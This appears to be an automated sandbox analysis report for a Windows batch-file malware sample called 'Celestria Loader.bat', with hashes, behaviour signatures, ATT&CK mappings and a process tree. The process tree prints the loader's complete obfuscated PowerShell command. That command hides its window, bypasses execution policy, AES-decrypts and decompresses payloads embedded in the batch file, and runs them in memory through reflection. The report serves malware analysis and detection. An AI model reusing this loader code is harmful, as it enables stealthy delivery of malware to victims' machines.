6f95c2ae1d09a753abc184534a2ff8989c56fcceffaf084e0cc34ea53b5ca9c8

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
19/06/2024, 16:55

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General

Target
Celestria Loader.bat
Size 339KB
Sample240619-vfdvwayern
SHA256 6f95c2ae1d09a753abc184534a2ff8989c56fcceffaf084e0cc34ea53b5ca9c8
MD5 bdb4774bea2f0e10edb9e41e3f818522
SHA1 9abe87258cac1bb410b4786d46059ea5b14c65eb
SHA512 73ed8273f84de67e47426ac5eb8967d41e34b03d9376da8477bf9e1c654e199fd9d871b7de155f1422e3aa1a0ef8be386f172c8b952427822e178f1a7b3f13b1
SSDEEP 6144:ZAMvUgzQRG0GfebuHXvs8B+E/oyrBRzY7+HJpp1z+stM9CUF6pFIJg:ZNvUA04dHX08B+E/RBREKHt1z+zx6eg
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2196	powershell.exe

Deletes itself 1 IoCs

pid	Process
1704	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2196	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2196	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1704 wrote to memory of 2196	1704	cmd.exe	29
PID 1704 wrote to memory of 2196	1704	cmd.exe	29
PID 1704 wrote to memory of 2196	1704	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Celestria Loader.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vAf9I7v8Gv+QtwUGVAU2aNXKQtwRSRSQlnTY9lHwFJ8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GDElKIvWgB3qyZr5n7DrCw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SGsHz=New-Object System.IO.MemoryStream(,$param_var); $yTpkv=New-Object System.IO.MemoryStream; $HKyGq=New-Object System.IO.Compression.GZipStream($SGsHz, [IO.Compression.CompressionMode]::Decompress); $HKyGq.CopyTo($yTpkv); $HKyGq.Dispose(); $SGsHz.Dispose(); $yTpkv.Dispose(); $yTpkv.ToArray();}function execute_function($param_var,$param2_var){ $YqDjA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ROBVy=$YqDjA.EntryPoint; $ROBVy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Celestria Loader.bat';$pRjeN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Celestria Loader.bat').Split([Environment]::NewLine);foreach ($aOXAW in $pRjeN) { if ($aOXAW.StartsWith(':: ')) { $mDFkI=$aOXAW.Substring(3); break; }}$payloads_var=[string[]]$mDFkI.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2196

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2196-4-0x000007FEF4F6E000-0x000007FEF4F6F000-memory.dmp

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memory/2196-7-0x000007FEF4CB0000-0x000007FEF564D000-memory.dmp

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memory/2196-6-0x000007FEF4CB0000-0x000007FEF564D000-memory.dmp

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memory/2196-5-0x000000001B580000-0x000000001B862000-memory.dmp

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memory/2196-8-0x0000000002910000-0x0000000002918000-memory.dmp

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memory/2196-9-0x000007FEF4CB0000-0x000007FEF564D000-memory.dmp

Download

memory/2196-10-0x000007FEF4CB0000-0x000007FEF564D000-memory.dmp

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